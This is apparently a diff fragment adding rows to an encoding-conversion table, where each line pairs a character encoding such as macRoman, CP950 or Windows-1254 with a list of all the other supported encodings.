+macIceland:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macRoman:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macRomania:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macTurkish:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+macUkraine:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP950:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP951:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+stateless-ISO-2022-JP:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+eucJP-ms:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP51932:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+GB2312:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+GB12345:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-2022-JP:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP50220:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+CP50221:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1252:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1250:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1256:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1253:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1255:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-1254:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+TIS-620:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-874:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
